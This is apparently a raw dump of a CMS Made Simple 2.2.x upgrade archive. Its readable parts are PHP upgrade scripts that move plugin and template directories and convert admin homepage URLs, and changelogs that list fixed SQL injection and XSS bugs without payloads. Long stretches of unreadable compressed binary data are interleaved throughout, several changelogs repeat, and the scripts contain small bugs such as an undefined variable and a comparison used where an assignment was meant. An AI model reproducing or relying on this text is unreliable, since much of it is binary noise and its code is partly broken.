mM6UX~ZɓӦVgKEWI[1].qX6Uٸ4p/6}+tMxD[ X!T~;GSbƤzl17A\,Yuqs%Mʐ0*ʚ=U,ucgo]"OIn-f yQLJCIĭx֤]>[ωJ?h8:_	/STHL%6yb~w.	56UT(iW=loMUlk.Luz*H]/I>SIE.Ӫ}ډR6f*
EG:st'*%U܈Ԭ)5ϵG"WkD`j*~IdSvjb`arl0uaUEUx`^7AR'l@)t@1ɖ lU^L6c(oi&FEۿ"z]vekԔAp\B y{];ײ8"\됍^/fy6l%ot)eu>sA-DgB>noUXB,\=OE48&[yNzD3ƴNvq{+zWBN}rR@IjܟK !qs"GN qbH~S"Σ<<셆%?Ӳwg>+ [0By'<hm6+
ű[(הߜoɔXƫZH
Bn-Uٻ=t|").I*v8JRrc9+5yZFB$煗G솹ZGRcv/Rrj% i٢/A <0>Tsb+$
F:Mr*C1dm% !6r[	u-%R5ϐ8~F<7'R\r"0A2ʡM)aڕ9Ą	J*.sl:rS뉃Y'
(h^amh$E(lx͹!̩S{])-6XcSFCuT\hqb U1t'$iæ^X?2Ga*&&ǤkŖ%RQYSdabvcTb(n,\ggJ׶AW꒍iAeZKʯ.՟4.`'`vBCY+ qC<:5?-HFV %
=>pȚ+87)c儙׆:|˧),FJ[E.ELւo|
̈́f5\UQ\N!ShXi.-u9E"7-"!iu 'Kzfl&XIԜ[OUJ	N'P
	V e̕.UFԪB唱û!**DE{Y	a-;QNǞ_Jj`#@b%}bJJx~ӁE׮&\fFk`+k4}]B+ (9
}JCkrY
tTX\4իCް C{?(9SHBX5wWd[ XQ+F[Mdh:ŉ'gbuc)lZVm"ԁZZ1UyjGGZYun=d}/ GS෌el֯9! kns2.u<8[Ubdm8!lQV7Lj77S" 0YAHe(K>j_W%Y6g^~Քsqn:[\Xmf9XyWu.֘1!H*a@GXl6r;)`H`NfD? [mŦܶ( 6EϘ@[MO_3<1;|M[0=DuVR9Y^k-/5$هl/vFH{ EvADE)MC,3Qff{HH_DS`C4T6cu>Ot
pɉ2rD_fk/Z%klOOrp<эS.=ai)lG6>=#/yĕbc({ PCy,ɕ6R-5F?󣊗Mb轑P]3ۜk]OrDkzreݼ''3P ` ڿ<)9}rWI"`"=VZ3'~?:E+蒪`=U,f(%^LN<3I]j֥}B	<S{X$ZE2`w)Bne5Bx~_BT *Amk5d{ݟ?!?"ͯwtwg[-\#bS\Gؚn%)cxE(i$9s	s-ĿGS䑚Qz]SO̾7tLfOSgl@Ȧ]Zul9b$5t z~χo]<l
ԃ@c*OUs/T7w(Mph}J. GП؏hbTmQ>j~z{Yܼ<RGg
ԜchǏ_z]n*bgWoK&N//KJT"qc`٥Ud3S3 paX)
1^3{i" c6Z%5	;_n{^sG)i^ߴzM{FtؚCK >R!op=2S-%jIr]q֪Kf)q%T)S&x.%dp[:[#<x	Pѻ   0^ <?php
status_msg('Performing structure changes for CMSMS 2.2');

$create_private_dir = function($relative_dir) {
    $app = \__appbase\get_app();
    $destdir = $app->get_destdir();
    $relative_dir = trim($relative_dir);
    if( !$relative_dir ) return;

    $dir = $destdir.'/'.$relative_dir;
    if( !is_dir($dir) ) {
        @mkdir($dir,0777,true);
    }
    @touch($dir.'/index.html');
};

$move_directory_files = function($srcdir,$destdir) {
    $srcdir = trim($srcdir);
    $destdir = trim($destdir);
    if( !is_dir($srcdir) ) return;

    $files = glob($srcdir.'/*');
    if( !count($files) ) return;

    foreach( $files as $src ) {
        $bn = basename($src);
        $dest = $destdir.'/'.$bn;
        rename($src,$dest);
    }
    @touch($dir.'/index.html');
};

//$gCms = cmsms();
$dbdict = NewDataDictionary($db);
$taboptarray = array('mysql' => 'TYPE=MyISAM');

$sqlarray = $dbdict->AddColumnSQL(CMS_DB_PREFIX.CmsLayoutTemplateType::TABLENAME,'help_content_cb C(255), one_only I1');
$dbdict->ExecuteSQLArray($sqlarray);

verbose_msg(ilang('upgrading_schema',202));
$query = 'UPDATE '.CMS_DB_PREFIX.'version SET version = 202';
$db->Execute($query);

$type = \CmsLayoutTemplateType::load('__CORE__::page');
$type->set_help_callback('CmsTemplateResource::template_help_callback');
$type->save();

$type = \CmsLayoutTemplateType::load('__CORE__::generic');
$type->set_help_callback('CmsTemplateResource::template_help_callback');
$type->save();

// create the assets directory structure
verbose_msg('Creating assets structure');
$create_private_dir('assets/templates');
$create_private_dir('assets/configs');
$create_private_dir('assets/module_custom');
$create_private_dir('assets/admin_custom');
$create_private_dir('assets/plugins');
$create_private_dir('assets/images');
$create_private_dir('assets/css');
$destdir = \__appbase\get_app()->get_destdir();
$srcdir = $destdir.'/module_custom';
if( is_dir($srcdir) ) {
    $move_directory_files($srcdir,$destdir.'/assets/module_custom');
}
$srcdir = $destdir.'/admin/custom';
if( is_dir($srcdir) ) {
    $move_directory_files($srcdir,$destdir.'/assets/admin_custom');
}
$srcdir = $destdir.'/tmp/configs';
if( is_dir($srcdir) ) {
    $move_directory_files($srcdir,$destdir.'/assets/configs');
}
$srcdir = $destdir.'/tmp/templates';
if( is_dir($srcdir) ) {
    $move_directory_files($srcdir,$destdir.'/assets/templates');
}
Version 2.2.1 - NO NAME SET
----------------------------------
Core - General
 - Improve the smarty plugin loading to handle non-cachable plugins in the /assets/plugins and /plugins directories.

Installation Assistant v1.3.1
 - On upgrade to 2.2.1 move all files from /plugins to /assets/plugins (they should only be third party plugins at this point)
 - On upgrade chmod the config.php to 444

MicroTiny v2.1.1
 - Fix temporary JS call URL.
     r1y<A"]IpۑefS oД$pcɟ#/>̖bvsq;B͟not$Ϧ:
?
m~t)}w?^,ft)jIY<ǜjyÛm^_I/\ΊI :Sl=m҄[qmkwۡiS~tцD,Y椓!u_ȯfًNY") b,p#u7Rh,*$&e$pkϗsjZLZO<04sqTc,9Yoݪy\S{gx.2dWmSbtU<vn
fQ+0RtԾRxiݗuLP=#bU傅ɕ\kjg.J"R0P(&Xm]	NJ]'{+mrK!*#&ɫ]m[L*TYSmJ&X09
<^ڇ׭sPw&#%m,{
*Q_郫 Sq"ekli=pN*x|uS h1Q, =!9I\8AVY`    ̱  <?php
status_msg('Performing directory changes for CMSMS 2.2.1');

$destdir = \__appbase\get_app()->get_destdir();
$plugins_from = $destdir.'/plugins';
if( !is_dir($plugins_from) ) return;
$plugins_to = $destdir.'/assets/plugins';
$files = glob($plugins_from.'/*');
if( !count($files) ) return;

// check permissions
if( !is_dir($plugins_to) || !is_writable($plugins_to) ) {
    error_msg('Note: Could not move plugins to /assets/plugins because of permissions in the destination directory');
    return;
}
foreach( $files as $filespec ) {
    if( !is_writable( $filespec ) ) {
        error_msg('Note: Could not move plugins to /assets/plugisn because because of permissions in the source directory');
        return;
    }
}

$remove = function( $in ) {
    if( is_file( $in ) ) {
        @unlink($in);
    }
    else if( is_dir( $in ) ) {
        \__appbase\utils::rrmdir($in);
    }
};

// move the files
foreach( $files as $src_name ) {
    $bn = basename($src_name);
    $dest_name = $plugins_to.'/'.$bn;
    if( ! is_file($dest_name) && !is_dir($dest_name) ) {
        rename( $src_name, $dest_name );
    }
    $remove( $src_name );
}

// maybe remove the directory
$files = glob($plugins_from.'/*');
$do_remove = false;
if( count($files) == 0 ) $do_remove = true;
if( count($files) == 1 ) {
    $bn = strtolower(basename($files[0]));
    if( $bn == 'index.html' ) $do_remove == true;
}
if( $do_remove ) \__appbase\utils::rrmdir($plugins_from);
@touch($plugins_to.'/index.html');
Version 2.2.10 - Spuzzum
-------------------------------
Core - General
  - Fix minor potential authenticated object insertion vulnerability in changegroupperm
  - Fix minor potential uncleaned input vulnerability in siteprefs
  - Minor improvement to get_real_ip()
  - Fix to clearing cache in cms_filecache_driver

News v2.51.5
  - Fix unauthenticated SQL injection vulnerability with the default action

ModuleManager v2.1.6
  - Fix authenticated object insertion vulnerability in the installmodule action
  - Improve ordering of the dependencies before installing or upgrading modules.
  - Adds more auditing, particularly in the cached request stuff.

FilePicker v1.0.4
  - Fix authenticated object insertion vulnerability

     n"9)xpEi!$[*Ikj~MX2v_U,͞Gyv;q>{|<,#8ϧ7t6pqv~7h:",Q,D6!IGadt}#=!4,%dR١əx	K7qmHb #I.,LNx5<mJvg朮UT7,
փ9}.i~[rםCNĒ E~zۦN,&ƠPCrһQt1$:RlV9tMק$L2At !Pa һ՜V䔃P%B,,Fi*mhmT_v}ߴ!QTbFcxH-QW/;s/E)pb!08xv?RG9X
jJdh\Ĩɺ"k+;#TD#&l*A`2.5k_MCr>|>@_	bȊ8r-tRsEWt;TAXقdC.<Wp?(Y16~dFLN-7g@VIFɪR1%mVڽ[٭ҿ    W  Version 2.2.11 - Vulcan
-------------------------------
Core - General
  - Fix minor bug in copying content objects.
  - Minor fix to array indexes when filling params in ContentBase.
  - Fix to the {cms_filepicker} plugin.
  - Minor fix to the 'my account' form.
  - Fix error in cmsms_filepicker.js encountered in LISE.
  - PHP 7.3 fix to DataDictionary::RenameColumnSQL.

CMSContentManager v1.1.8
  - Fix an issue with copying non-core content objects.
  - Minor fixes for php 7.3.

ModuleManager v2.1.7
  - Minor exception handling improvements.
  - Minor improvement to dependency detection with modules that do not exist in ModuleRepository.
  - Minor fixes for php 7.3

News v2.51.6
  - Minor improvements for CMSMS v2.3 compatibility.

Phar Installer v1.3.8
  - Minor change to use include() instead of include_once()... not sure why.

FilePicker v1.0.4.1
  - Fix type error.

Search v1.51.7
  - Minor fixes for php 7.3.
     Wv+)$ǒs-'[	6&I) .^ŇW_n//u^ϟn/|맻5Q8Gno./^|:vi)-~z݇JN2砂33lZo|Ӟ6X/\ӦS7Ij_o`M5gS.cB*U6紦iY.&kEC$)dlM)b2+;m?&rvxA(e5W!})-"pc[=F.g
-SMLF| xtӺY<#anS>Fς Q8IYW,V㾏6ܖS-T:%SFkeƙj=qߙTZ!L4dKRr6yJmp9kߣpgMAUʔq!Ŏ<SD#]9z6~7i7Ԟ,ˬdpH:sA%%kB$pM!g+lǧG7u>JIZ')f2g!gmB1{,E@o">@)wх!~3ykw#sk(1IrYh@!ur<JV \_{_]XB%m!`7zLYd'5F@wDN/l7cuD4hfjQJPQXX_jFmËQ+K0,8*JKcjhGD\fkk>	[t:Nj$wGzw{nqAd	s$@zH,$E6;ۼ7M[@)cR;v9*t
c\@$".M&""<ɂL$-Q3s̢ZE>*(|`QoZo/aT+~F* oRYR+gNR@[D $V("3nyuc`_1KY/pp69-/pם\:`\&.{|#]MUUNGITX3zQ"@6)܈88>Wmx4Rt20GaB"AX,Td 	Ss	E"s{jmeVci(<򄼆Lvo@^dXPp9ۀb%QUĿ^9ٷsX{ͺ~_kBH	5f8nGl%/|)SGz:/-'|=pyl$gj|@L[+sx1@}׿zMvoCk`6`£f/bЁ5&8&~7ͨ+Xk\tLLsN"˒|aZdx3Uem 'tl2$mzj70/C%hcfO><,h;*a_!ϟr3O9 7"QW:i#+y:_7W,i ]u}}zL~X/7+|tu}	'#/=X/yQ^hh쏫bO   h  Version 2.2.12 - Osoyoos
-------------------------------
NOTICE: Due to the nature of the security issue fixed in FileManager after upgrading you should change your database password.

Core - General
  - Fix warning in cms_html_entity_decode

FileManager v1.6.9.1
  - Security fixes for view action.
     tj@}<ACBVh[٭hĤ}z10?3EVy:B#-;^"zכUUI$-"Oa]M 'W}w~|iDRi͉	MB˰S^ryIOMs0o74!>7#>NEֈ)ceH%Tb1cArPF(xmlflvTq$BQ3wzǈ $z, 	NйμTxf_    [	  Version 2.2.13 - Moosomin
-------------------------------
DesignManger v1.1.7
   - Fix a warning in PHP 7.3+

FileManager v1.6.10
   - Fix minor XSS vulnerabilities in FileManager.

News v2.51.8
   - Fix a security issue in the default action with the idlist param
   (This version was also separately released in the forge)
     n0~Gu]и]9b%Qbw[~ʲۍ`?Y/Vw7Vfq_-WFI5WKff{^QIvyvyY5ZyaEm	]FM}P"v}|ji4-#fƦurm\yIr@y/ƨ <h3. TڊA%??_0w1zC&GFRK3~/H	qsYZb^rMt0gFv3dC!j-
ǬRA:--50$)k/6~ZƼB~$ HrU^f1I44l΢+ BGF9)e`~_M7ҡza|Rx:4m.<	NF&740:Akt3	eV1©>av-ǟ/    D8  Version 2.2.14 - T'Sou-ke
-------------------------------
Core - General
  - BR #12280 - Add Shortcut from Shortcuts modal broken.
  - Fixes to the class.CmsAdminThemeBase.php regarding main sections title and breadcrumbs generation.
  - Explicitly add function_exists and getimagesize functions to the allowed functions in PHP secure mode.
  - Improved Error Console template.
  - Site Prefs, remove submit confirmation.
  - System Maintenance, remove confirmation update page hierarchy positions and routes.
  - cms_http_request PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - Backend users, fixed the bulk actions.
  - BR #12172 - CronJobTrait undefined constants.
  - BR #12227 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12272 - Internal page link - selecting destination page problem.

AdminSearch v1.0.5
  - Remove click thru warning.
  
CMSContentManager v1.1.9
  - Fix notices in edit content template.
  - Fix notice in default admin view.

DesignManager v1.1.8
  - BR #12225 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

FileManager v1.6.11
  - Don’t disable advanced mode on upgrade.
  - Fix adding double // in site root link.
  - BR #12215 - FileManager 1.6.10 crashes when trying to rename a file.
  - BR #12224 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

News v2.51.9
  - Minor code fix.
  - Alert on unapproved articles disabled by default. Enable at Settings >> Options tab.
  - BR #12207 - Can't display image in news when using upload field.
  - BR #12228 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

Phar Installer v1.3.9
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - PHP 7.4 fix "Function get_magic_quotes_runtime() is deprecated".

Search v1.51.8
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".     
Wr++NW")e*w*tO ̍>ҒH7n>}psuruiyrupy!m(Ļ_n.|w{yj!dfyyqӶ}FsvvU{H>,[rPRB2Xou ]pڪR޶yWSY]@puʜv>$iO;*.F-=)T8:5_lXMA-d`aXR4DP#mz$hm0R"r֜*\1sBlw0Ű	hE	Uq*	RRGm40su~1<hF";#e0(HIR"zDffWs$4Db6Uɦij1&IMffeoAc2]C˚~\r)͖Z%1♊$Jenq}/w_Vx1j4Sh4 =}"X(A	!	L&߳܃QNLκu{#qoumۦo8Hd֚5NʤS>c=k_[ٕsB
NiGH0HG`_}.'G΀9AhaU&yz_/~7"|fQ9UN.syMGu3iu:z"CщAY]5~fbR᮫ۺYX#IP9x!pտYvožX6kՄC-'*-q8KRt 0f~w__]-Jm7O5Q5Wυ$)W~ț~j
bVP87,J/~1~nKVݜ9fAiw4sunS P^`Tf(doEÇa}6I<2"maҎ,
FgL%28Hǘ+d}2r?̇3TҮf6Y  [0A$'gbk&ͺȣ{M&L.&%OL\xɔ2,c\((uH0D@}bw<T$%{'~CK[ Hx2۠PI#6y׷Yjx Ms)RIUM:/kcgINAl-
e|8OP3*<fx>Y$*~l Ob,ӎJs"{C7~d#&g-Y`庋,6хǠF/VU>>SF5 c< p9n^̸b0 	D!1}`<9JC@oBΙN%v<0V";<s?$:~'
R(IGy    q  Version 2.2.15 - Bonaventure
-------------------------------
Core - General
  - BR #12287 - Admin shortcuts popup refers to IRC.
  - BR #12292 - showbase parameter of metadata tag doesn't accept boolean value.
  - BR #12303 - No date displayed in the admin + category id not incremented.
  - BR #12305 - Removing actual Destination Page breaks Destination Page dropdown in Internal Page Link pages.
  - BR #12311 - log_performance_info - undefined variable: queries.
  - BR #12313 - 5 Stored XSS vulnerabilities in Settings - Content Manager.
  - BR #12317 - XSS on Settings News Module.
  - BR #12325 - Several XSS vulnerabilities.
  - BR #12335 - User pref admin homepage not properly displayed under certain conditions.
  - BR #12337 - GetContentBlockFieldInput $adding always false.
  - BR #12338 - Allow http/2 responses.
  - BR #12357 - Filepicker dropzone size issue.
  - FR #12345 - More user friendly admin session handling (partly implemented).
  - FR #12349 - Swap tabs on System Maintenance page.
  - Browsing to the main admin page in a new browser tab during a running session won't redirect to login form anymore.
  - (Error) messages in OneEleven won't dismiss on click.
  - Fix to Admin redirection after login on Windows platform.
  - Fix to the module API redirection to support arrays in parameters.
  
FileManager v1.6.12
  - Dropzone improvement like core FilePicker.

FilePicker v1.0.5
  - BR #11673 - FilePicker will not show svg images, when in the Content Manager.
  - BR #12312 - Stored XSS vulnerability in File Picker.

News v2.51.11
  - Minor code fix to encoding title content. 
  - BR #12322 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12325 - Several XSS vulnerabilities.

Design Manager v1.1.9
  - Minor fixes for PHP warnings\notices;

Module Manager v2.1.8
  - BR #12291 - Reflected Cross site scripting
  - BR #12324 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - Increased the Download Chunk Size field size to 4.
  
MicroTiny v2.2.5
  - BR #12351 - Escaping translation strings in tinymce_config.js.

Search v1.52
  - FR #11886 - Include module and modulerecord fields for content pages.

Phar Installer v1.3.13
  - Fixes to the reload button: now prevents browser's caching 
  - BR #11591 - fixed: Phar installer doesn't work with OPCache enabled     
WrG+x2M+Q#LjäFuu5	y`1 偘`둙u/gW'_.~xuÉ啷??=۷v˷'Ԝj7yz?.!/M^{϶k12+/}>ĲXA{9fѹYLcv7Tgټ_˻5LxZ219[oe~DREIl19GZ72,ng-i}Q-4SLy~Qם惬LtȔiG!RA$\"=b=Yj:APw0 ˕~QU-mrUFʲJ.C?=gL[)
kM)yвAnMȡ)H+nͪpvN֢{`TTĨxB-Q! ڐa[Ý\:AE.[qV{ˌ+HjU!Ϳr|ӭăc%P!TC|S}*E\TVf;~z:5"ѰQb'(+Ax[bGm7NZ]hX)if7+QOUEc(LYT
D-d9WuWzXǐMq"X[E^&Ԙ}s7˛w-A/gkB
B6/Q
z8eR~n)V!(BKȺ9qH]ͩ{d~\^ەJx8EDCD\c# #A>g_=\ưɪդد\dJ|HK70&带[uM\{wDb~PU!*6HRKʨ[ӭTi)-LH
tltAR>F	?G] F#Tt\6Tf!lҶp?_~Z8]]vw޸A>?&kip+V59>2/]irFno*lɱV[ұiTȤggN9 (V9Ql*7'cv!3f]I%$	%6~Z`	!1`ktDE6V?ݶz-AκC x|V	J	)BvDyv3s]l)e$.IYȻ)؀{<g{y$:!Nf9k>-sl%#?p |n{Au$MBΫ2p=I=
@F-N[C!EݥiXX0K[tS	`GSpe{>ux׬#b1{:	\>Nl&ؾ툮lXHl(ax^<V'B>".G`_v<fSs=jB-bvj}9x@]+SG0	e r"wf=\@Mx ޔ clrEI5ZMJޡ0xX[{wGҊ(W'fBbxúd#ϫ &ٿH6FaƇ;:36JSGXr5zIL:ث60+ g]dQv1V5cbɚ1dsAl7~Xo܏^b@4薄!]b
9k}`CQ텹=p2NbD2p($!)3Z+C`q<gErۛۨv3ڂ5%ZlH.G%yvzx:Q1;jYlb ~w&FVq	P ,(a]ا-h	&A
Fȉ_UESȾpa늪]h^&$צ!nr]OPs:)#jbOY^~    Y4  <?php

# Fix backend users' homepage url
# replace all previous secure params with [SECURITYTAG]
# remove the admin dir name from the url (url should be relative to admin dir)
$sql = 'SELECT user_id,value FROM '.CMS_DB_PREFIX.'userprefs WHERE preference = ?';
$homepages = $db->getAll($sql,['homepage'] );
if (is_array($homepages) && count($homepages))  {
    status_msg('Converting backend users\' homepage preference');

    $update_statement = 'UPDATE ' . CMS_DB_PREFIX . 'userprefs SET value = ? WHERE user_id = ? AND preference = ?';

    foreach ($homepages as $homepage) {

        
        $url = $homepage['value'];
        if (empty($url)) continue;
        
        // quick hacks to remove old secure param name from homepage url
        // and replace with the correct one.
        $url = str_replace('&amp;','&',$url);
        $tmp = explode('?',$url);
        @parse_str($tmp[1],$tmp2);
        if( in_array('_s_',array_keys($tmp2)) ) unset($tmp2['_s_']);
        if( in_array('sp_',array_keys($tmp2)) ) unset($tmp2['sp_']);
        
        $tmp2['_CMSKEY_'] = 'XXXX'; // current secure param
                
        foreach( $tmp2 as $k => $v ) {
            $tmp3[] = $k.'='.$v;
        }
        $url = $tmp[0].'?'.implode('&amp;',$tmp3);
        $url = str_replace('_CMSKEY_=XXXX','[SECURITYTAG]',$url);

        $url = preg_replace('@^/[^/]+/@','',$url); //remove admin folder from the url (if applicable)

        unset($tmp2,$tmp3);
        
        $db->execute($update_statement,[$url,$homepage['user_id'],'homepage']);
    }
}
Version 2.2.16 - Truro
-------------------------------
Core - General
  - BR #12370 - Admin Log-Download : now downloading the log honors all filters but doesn't process paging
  - BR #12437 - Installer won't allow "<" symbol in database password
  - BR #12457 - Event Manager empty list when mysql mode only_full_group_by
  - BR #12484 - Cannot exit after Run UDT
  - BR #12495 - MySQL 8.0.2+ breaks groups without table prefix
  - BR #12499 - adminlog.tpl Wrongly formed date
  - BR #12500 - NameQuote function does not work properly
  - BR #12504 - Function call notification.
  - Fixed an issue with specific characters in a content block tab name breaking the editor
  - Adjust regex's incompatible with PCRE2
  - Avoid deprecated strftime() - deploy new replacement function locale_ftime() and new modifier-plugin localedate_format
  - A number of fixes for PHP 8 compatibility

Admin Search v1.0.6
  - BR #12443 - Admin Search fails on some searches with default mysql mode only_full_group_by (mysql 5.7.5+).
  - Removed license and copyright notices from module help text.
  - Escaping the search input field values.
  - More content object attributes are searched.
  - User Defined Tags can be searched.
  - Only places a user has permission to search are shown in the filter list (cached!).

Content Manager v1.1.9
  - Fix menu text/title setting.

FileManager v1.6.12
  - BR #12435 - Replacing an image file in filepicker doesn't update thumbnail.

FilePicker v1.0.5
  - FR #12483 - Additional FilePicker Help for usage as Content Block.

Navigator v1.0.9
  - BR #12456 - Navigator breadcrumbs with default page hidden from menu causes PHP notice.

Search
  - Added 'Manage Search' permission;
  - BR #12391 - Core search issue page/entry titles that start with numbers;
  
Phar Installer v1.3.15  
  - Fixed BR #12437 - Installer won't allow "<" symbol in database password; 
  - Added Russian lang file to installer;
  - use locale_ftime() instead of deprecated strftime();
  - escape name of groups table, to prevent reserved-word conflict when table-prefix is empty;
  - alterations to the links in final step: we now privilege links to CMSMS channels of contact and support;

Version 2.2.15 - Bonaventure
-------------------------------
Core - General
  - BR #12287 - Admin shortcuts popup refers to IRC.
  - BR #12292 - showbase parameter of metadata tag doesn't accept boolean value.
  - BR #12303 - No date displayed in the admin + category id not incremented.
  - BR #12305 - Removing actual Destination Page breaks Destination Page dropdown in Internal Page Link pages.
  - BR #12311 - log_performance_info - undefined variable: queries.
  - BR #12313 - 5 Stored XSS vulnerabilities in Settings - Content Manager.
  - BR #12317 - XSS on Settings News Module.
  - BR #12325 - Several XSS vulnerabilities.
  - BR #12335 - User pref admin homepage not properly displayed under certain conditions.
  - BR #12337 - GetContentBlockFieldInput $adding always false.
  - BR #12338 - Allow http/2 responses.
  - BR #12357 - Filepicker dropzone size issue.
  - FR #12345 - More user friendly admin session handling (partly implemented).
  - FR #12349 - Swap tabs on System Maintenance page.
  - Browsing to the main admin page in a new browser tab during a running session won't redirect to login form anymore.
  - (Error) messages in OneEleven won't dismiss on click.
  - Fix to Admin redirection after login on Windows platform.
  - Fix to the module API redirection to support arrays in parameters.

FileManager v1.6.12
  - Dropzone improvement like core FilePicker.

FilePicker v1.0.5
  - BR #11673 - FilePicker will not show svg images, when in the Content Manager.
  - BR #12312 - Stored XSS vulnerability in File Picker.

News v2.51.11
  - Minor code fix to encoding title content.
  - BR #12322 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12325 - Several XSS vulnerabilities.

Design Manager v1.1.9
  - Minor fixes for PHP warnings\notices;

Module Manager v2.1.8
  - BR #12291 - Reflected Cross site scripting.
  - BR #12324 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - Increased the Download Chunk Size field size to 4.

MicroTiny v2.2.5
  - BR #12351 - Escaping translation strings in tinymce_config.js.

Search v1.52
  - FR #11886 - Include module and modulerecord fields for content pages.

Phar Installer v1.3.13
  - Fixes to the reload button: now prevents browser's caching.
  - BR #11591 - fixed: Phar installer doesn't work with OPCache enabled.


Version 2.2.14 - T'Sou-ke
-------------------------------
Core - General
  - BR #12280 - Add Shortcut from Shortcuts modal broken.
  - Fixes to the class.CmsAdminThemeBase.php regarding main sections title and breadcrumbs generation.
  - Explicitly add function_exists and getimagesize functions to the allowed functions in PHP secure mode.
  - Improved Error Console template.
  - Site Prefs, remove submit confirmation.
  - System Maintenance, remove confirmation update page hierarchy positions and routes.
  - cms_http_request PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - Backend users, fixed the bulk actions.
  - BR #12172 - CronJobTrait undefined constants.
  - BR #12227 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12272 - Internal page link - selecting destination page problem.

AdminSearch v1.0.5
  - Remove click thru warning.

CMSContentManager v1.1.9
  - Fix notices in edit content template.
  - Fix notice in default admin view.

DesignManager v1.1.8
  - BR #12225 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

FileManager v1.6.11
  - Don’t disable advanced mode on upgrade.
  - Fix adding double // in site root link.
  - BR #12215 - FileManager 1.6.10 crashes when trying to rename a file.
  - BR #12224 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

News v2.51.9
  - Minor code fix.
  - Alert on unapproved articles disabled by default. Enable at Settings >> Options tab.
  - BR #12207 - Can't display image in news when using upload field.
  - BR #12228 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

Phar Installer v1.3.9
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - PHP 7.4 fix "Function get_magic_quotes_runtime() is deprecated".

Search v1.51.8
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".


Version 2.2.13 - Moosomin
-------------------------------
Core - General
   - Explicitly add a function or two to the allowed functions in PHP secure mode.

DesignManager v1.1.7
   - Fix a warning in PHP 7.3+.

FileManager v1.6.10
   - Fix minor XSS vulnerabilities in FileManager.

News v2.51.8
   - Fix a security issue in the default action with the idlist param.
   (This version was also separately released in the forge).


Version 2.2.12 - Osoyoos
-------------------------------
NOTICE: Due to the nature of the security issue fixed in FileManager after upgrading you should change your database password.

Core - General
  - Fix warning in cms_html_entity_decode.

FileManager v1.6.9.1
  - Security fixes for view action.


Version 2.2.11 - Vulcan
-------------------------------
Core - General
  - Fix minor bug in copying content objects.
  - Minor fix to array indexes when filling params in ContentBase.
  - Fix to the {cms_filepicker} plugin.
  - Minor fix to the 'my account' form.
  - Fix error in cmsms_filepicker.js encountered in LISE.
  - PHP 7.3 fix to DataDictionary::RenameColumnSQL.

CMSContentManager v1.1.8
  - Fix an issue with copying non-core content objects.
  - Minor fixes for php 7.3.

ModuleManager v2.1.7
  - Minor exception handling improvements.
  - Minor improvement to dependency detection with modules that do not exist in ModuleRepository.
  - Minor fixes for php 7.3.

News v2.51.6
  - Minor improvements for CMSMS v2.3 compatibility.

Phar Installer v1.3.8
  - Minor change to use include() instead of include_once()... not sure why.

FilePicker v1.0.4.1
  - Fix type error.

Search v1.51.7
  - Minor fixes for php 7.3.


Version 2.2.10 - Spuzzum
-------------------------------
Core - General
  - Fix minor potential authenticated object insertion vulnerability in changegroupperm.
  - Fix minor potential uncleaned input vulnerability in siteprefs.
  - Minor improvement to get_real_ip().
  - Fix to clearing cache in cms_filecache_driver.

News v2.51.5
  - Fix unauthenticated SQL injection vulnerability with the default action.

ModuleManager v2.1.6
  - Fix authenticated object insertion vulnerability in the installmodule action.
  - Improve ordering of the dependencies before installing or upgrading modules.
  - Adds more auditing, particularly in the cached request stuff.

FilePicker v1.0.4
  - Fix authenticated object insertion vulnerability.


Version 2.2.9.1
-------------------------------
Core - General
  - fix to the CmsLayoutStylesheetQuery class.
  - fix an edge case in the Database\Connection::DbTimeStamp() method.

MicroTiny v2.2.4
  - Minor fix in error displays.

Phar Installer v1.3.7
  - Fix to edge case in step 3 where memory_limit is set to -1.


Version 2.2.9 - Blow Me Down
-------------------------------
Core - General
  - PHP 7.2+ fixes.
  - Now do not call Module::InitializeAdmin() or Module::InitializeFrontend() if the module loading is being forced
    (as is the case sometimes within ModuleManager);
  - Minor changes and fixes to prevent warnings/notices in CLI based scripts.
  - Improvements to the {browser_lang} plugin.
  - Fixes a bug in the CmsLayoutTemplateQuery class.
  - Fixes a bug with the name= parameter in the {cms_stylesheet} plugin.
  - Fixes a minor issue in system information (smarty compilecheck).
  - Fixes a minor issue with the tabIndex and accesskey fields in edit content.
  - Fixes issue in the CmsLayoutStylesheet class related to associating designs with new stylesheets.
  - Now check for an english language file first in module_custom/xxxxx/lang before a file for the current language.
  - Prevent false-positive hit for "multiple_webshells_0018" rule webserver virusscanner (https://github.com/Yara-Rules/rules/blob/master/Webshells/WShell_THOR_Webshells.yar#L4764).
  - Fixes a bug in ContentOperations::LoadAllContent() if the content list had a custom content type from a module that was unvavailable.
  - Fixes a bug in the Database\Connection::DbTimeStamp().

Search v1.51.6
  - Minor fixes to help.

MicroTiny v2.2.3
  - More entropy in the mt_config.js filename to fix issues with js caching when switching users.
  - Fixes in the cms_linker plugin for when trying to change a link to a CMSMS page where the alias has changed.

FileManager v1.6.8
  - Fixes an upload issue.

ModuleManager v2.1.5
  - PHP 7.2+ fixes.

CMSContentManager v1.1.7
  - Fixes an issue with changing content type after copying a content page.

DesignManager v1.1.5
  - Fixes ownership issue on templates with importing a design.

Phar Installer v1.3.7
  - Minof fix to detect when PHP's memory limit is set to -1.


Version 2.2.8 - Flin Flon
----------------------------------
Core - General
  - Re-introduce the host_whitelist config entry that got lost in some commit somewhere.
  - Minor fix to pagination in Admin log.
